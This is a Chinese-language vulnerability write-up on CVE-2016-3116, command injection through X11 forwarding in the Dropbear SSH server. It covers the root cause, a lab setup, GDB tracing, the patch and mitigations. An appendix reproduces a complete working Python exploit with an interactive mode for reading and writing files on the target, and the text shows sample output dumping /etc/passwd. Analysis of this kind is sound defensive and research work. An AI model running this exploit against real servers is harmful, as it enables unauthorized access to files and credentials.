cve-2016-3116 dropbear 注入漏洞分析
字数 1380 2025-08-26 22:11:28

Dropbear SSH服务器X11转发注入漏洞(CVE-2016-3116)深度分析与利用指南

漏洞概述

Dropbear是一个轻量级的SSH服务器和客户端,广泛应用于嵌入式Linux系统(如无线路由器)。CVE-2016-3116是一个存在于Dropbear SSH服务器中的X11转发功能中的命令注入漏洞。

关键信息

  • 漏洞类型:命令注入
  • 影响版本:Dropbear <= 2015.71(所有开启X11转发的版本)
  • 漏洞条件:需要认证权限且服务器配置中X11Forwarding yes开启(默认开启)
  • CVSS评分:8.8(高危)
  • 漏洞发现时间:2016年

漏洞背景

X11转发简介

X11是一个用于图形显示的协议,允许在命令行环境下使用图形界面。SSH的X11转发功能需要在配置中开启X11Forwarding选项。

漏洞原理

漏洞源于Dropbear在处理X11认证cookie时未对用户输入进行充分验证,攻击者可以在cookie中注入换行符,从而注入任意xauth命令。通过精心构造的数据包,攻击者可以实现:

  1. 任意文件读取
  2. 任意文件写入
  3. 网络探测(端口扫描)
  4. 信息泄露

漏洞复现环境搭建

编译有漏洞的Dropbear版本

# 下载漏洞版本
wget https://matt.ucc.asn.au/dropbear/releases/dropbear-2015.71.tar.bz2
tar xvf dropbear-2015.71.tar.bz2
cd dropbear-2015.71

# 编译安装
./configure --prefix=/usr/local/dropbear/ --sysconfdir=/etc/dropbear/
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"
sudo make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install

# 创建配置目录
mkdir /etc/dropbear

# 启动Dropbear(X11转发默认开启)
sudo ./dropbear -R -F -E -p 2222

漏洞利用详解

利用工具

使用Python编写的漏洞利用脚本,基于Paramiko库实现SSH连接和X11转发注入。

主要功能

  1. .info - 获取X11认证信息
  2. .readfile <path> - 读取任意文件
  3. .writefile <path> <data> - 写入任意文件
  4. 直接执行xauth命令

利用示例

  1. 信息泄露
#> .info
Authority file:       /home/island/.Xauthority
File new:             no
File locked:          no
Number of entries:    2
  1. 任意文件读取
#> .readfile /etc/passwd
root:x:0:0:root:/root:/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  1. 任意文件写入
#> .writefile /tmp/testfile1 `thisisatestfile`

技术原理分析

漏洞位于x11req()x11setauth()函数中:

  1. x11req()从SSH会话中获取X11认证cookie并存储在chansess结构中:
chansess->x11authcookie = buf_getstring(ses.payload, NULL);
  1. x11setauth()使用popen执行xauth命令时未过滤用户输入:
authprog = popen(XAUTH_COMMAND, "w");
fprintf(authprog, "add %s %s %s\n",display, chansess->x11authprot, chansess->x11authcookie);

攻击者可以在x11authcookie中注入换行符,从而执行任意xauth命令。

可利用的xauth命令

  1. info - 泄露X11认证信息
  2. source - 读取任意文件(在第一个空格处截断)
  3. extract - 写入任意文件(需与add命令配合)
  4. generate - 可用于端口探测

动态调试分析

使用GDB调试Dropbear进程:

sudo gdb-multiarch dropbear
gef➤ set args -R -F -E -p 2222
gef➤ b x11req
gef➤ b x11setauth
gef➤ set follow-fork-mode child
gef➤ r

观察chansess->x11authcookie的值,可以看到攻击者注入的恶意命令:

gef➤ x /s $rax
0x637f40: "xxxx\nsource /etc/passwd\n"

补丁分析

Dropbear 2016.74修复版本增加了输入验证:

if (xauth_valid_string(chansess->x11authprot) == DROPBEAR_FAILURE ||
    xauth_valid_string(chansess->x11authcookie) == DROPBEAR_FAILURE) {
    dropbear_log(LOG_WARNING, "Bad xauth request");
    goto fail;
}

验证函数xauth_valid_string()实现:

static int xauth_valid_string(const char *s) {
    size_t i;
    for (i = 0; s[i] != '\0'; i++) {
        if (!isalnum(s[i]) &&
            s[i] != '.' && s[i] != ':' && s[i] != '/' &&
            s[i] != '-' && s[i] != '_') {
            return DROPBEAR_FAILURE;
        }
    }
    return DROPBEAR_SUCCESS;
}

修复建议

  1. 升级Dropbear
    升级至2016.72或更高版本。

  2. 禁用X11转发
    在编译时删除options.h中的#define ENABLE_X11FWD选项。

  3. 运行时禁用
    在配置文件中设置X11Forwarding no

防御措施

  1. 及时更新Dropbear到最新版本
  2. 如无需X11转发功能,应彻底禁用
  3. 实施最小权限原则,限制SSH用户的权限
  4. 监控异常文件访问和xauth命令执行

参考资源

  1. Dropbear官方补丁
  2. 漏洞利用脚本
  3. X11协议文档

附录:完整漏洞利用脚本

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
import logging
import StringIO
import sys
import os

LOGGER = logging.getLogger(__name__)
try:
    import paramiko
except ImportError, ie:
    logging.exception(ie)
    logging.warning("Please install python-paramiko: pip install paramiko")
    sys.exit(1)

class SSHX11fwdExploit(object):
    def __init__(self, hostname, username, password, port=22, timeout=0.5, 
                 pkey=None, pkey_pass=None):
        self.ssh = paramiko.SSHClient()
        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        if pkey:
            pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(pkey),pkey_pass)
        self.ssh.connect(hostname=hostname, port=port, 
                         username=username, password=password, 
                         timeout=timeout, banner_timeout=timeout,
                         look_for_keys=False, pkey=pkey)

    def exploit(self, cmd="xxxx\n?\nsource /etc/passwd\n"):
        transport = self.ssh.get_transport()
        session = transport.open_session()
        LOGGER.debug("auth_cookie: %s"%repr(cmd))
        session.request_x11(auth_cookie=cmd)
        LOGGER.debug("dummy exec returned: %s"%session.exec_command(""))

        transport.accept(0.5)
        session.recv_exit_status()  # block until exit code is ready
        stdout, stderr = [],[]
        while session.recv_ready():
            stdout.append(session.recv(4096))
        while session.recv_stderr_ready():
            stderr.append(session.recv_stderr(4096))
        session.close()
        return ''.join(stdout)+''.join(stderr)              # catch stdout, stderr

    def exploit_fwd_readfile(self, path):
        data = self.exploit("xxxx\nsource %s\n"%path)
        if "unable to open file" in data:
            raise IOError(data)
        ret = []
        for line in data.split('\n'):
            st = line.split('unknown command "',1)
            if len(st)==2:
                ret.append(st[1].strip(' "'))
        return '\n'.join(ret)

    def exploit_fwd_write_(self, path, data):
        dummy_dispname = "127.0.0.250:65500"
        ret = self.exploit('\nadd %s %s aa'%(dummy_dispname, data))
        if ret.count('bad "add" command line')>1:
            raise Exception("could not store data most likely due to bad chars (no spaces, quotes): %s"%repr(data))
        LOGGER.debug(self.exploit('\nextract %s %s'%(path,dummy_dispname)))
        return path

if __name__=="__main__":
    logging.basicConfig(loglevel=logging.DEBUG)
    LOGGER.setLevel(logging.DEBUG)

    if not len(sys.argv)>4:
        print """ Usage: <host> <port> <username> <password or path_to_privkey>"""
        sys.exit(1)
    hostname, port, username, password = sys.argv[1:]
    port = int(port)
    pkey = None
    if os.path.isfile(password):
        password = None
        with open(password,'r') as f:
            pkey = f.read()
    elif password==".demoprivkey":
        pkey = PRIVKEY
        password = None

    LOGGER.info("connecting to: %s:%s@%s:%s"%(username,password if not pkey else "<PKEY>", hostname, port))
    ex = SSHX11fwdExploit(hostname, port=port,
                          username=username, password=password,
                          pkey=pkey,
                          timeout=10
                          )
    LOGGER.info("connected!")
    LOGGER.info ("""
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>
""")
    while True:
        cmd = raw_input("#> ").strip()
        if cmd.lower().startswith(".exit") or cmd.lower().startswith(".quit"):
            break
        elif cmd.lower().startswith(".info"):
            LOGGER.info(ex.exploit("\ninfo"))
        elif cmd.lower().startswith(".readfile"): 
            LOGGER.info(ex.exploit_fwd_readfile(cmd.split(" ",1)[1]))
        elif cmd.lower().startswith(".writefile"):
            parts = cmd.split(" ")
            LOGGER.info(ex.exploit_fwd_write_(parts[1],' '.join(parts[2:])))
        else:
            LOGGER.info(ex.exploit('\n%s'%cmd))
    LOGGER.info("--quit--")
Dropbear SSH服务器X11转发注入漏洞(CVE-2016-3116)深度分析与利用指南 漏洞概述 Dropbear是一个轻量级的SSH服务器和客户端,广泛应用于嵌入式Linux系统(如无线路由器)。CVE-2016-3116是一个存在于Dropbear SSH服务器中的X11转发功能中的命令注入漏洞。 关键信息 : 漏洞类型:命令注入 影响版本:Dropbear <= 2015.71(所有开启X11转发的版本) 漏洞条件:需要认证权限且服务器配置中 X11Forwarding yes 开启(默认开启) CVSS评分:8.8(高危) 漏洞发现时间:2016年 漏洞背景 X11转发简介 X11是一个用于图形显示的协议,允许在命令行环境下使用图形界面。SSH的X11转发功能需要在配置中开启 X11Forwarding 选项。 漏洞原理 漏洞源于Dropbear在处理X11认证cookie时未对用户输入进行充分验证,攻击者可以在cookie中注入换行符,从而注入任意xauth命令。通过精心构造的数据包,攻击者可以实现: 任意文件读取 任意文件写入 网络探测(端口扫描) 信息泄露 漏洞复现环境搭建 编译有漏洞的Dropbear版本 漏洞利用详解 利用工具 使用Python编写的漏洞利用脚本,基于Paramiko库实现SSH连接和X11转发注入。 主要功能 : .info - 获取X11认证信息 .readfile <path> - 读取任意文件 .writefile <path> <data> - 写入任意文件 直接执行xauth命令 利用示例 信息泄露 : 任意文件读取 : 任意文件写入 : 技术原理分析 漏洞位于 x11req() 和 x11setauth() 函数中: x11req() 从SSH会话中获取X11认证cookie并存储在 chansess 结构中: x11setauth() 使用popen执行xauth命令时未过滤用户输入: 攻击者可以在 x11authcookie 中注入换行符,从而执行任意xauth命令。 可利用的xauth命令 info - 泄露X11认证信息 source - 读取任意文件(在第一个空格处截断) extract - 写入任意文件(需与 add 命令配合) generate - 可用于端口探测 动态调试分析 使用GDB调试Dropbear进程: 观察 chansess->x11authcookie 的值,可以看到攻击者注入的恶意命令: 补丁分析 Dropbear 2016.74修复版本增加了输入验证: 验证函数 xauth_valid_string() 实现: 修复建议 升级Dropbear : 升级至2016.72或更高版本。 禁用X11转发 : 在编译时删除 options.h 中的 #define ENABLE_X11FWD 选项。 运行时禁用 : 在配置文件中设置 X11Forwarding no 。 防御措施 及时更新Dropbear到最新版本 如无需X11转发功能,应彻底禁用 实施最小权限原则,限制SSH用户的权限 监控异常文件访问和xauth命令执行 参考资源 Dropbear官方补丁 漏洞利用脚本 X11协议文档 附录:完整漏洞利用脚本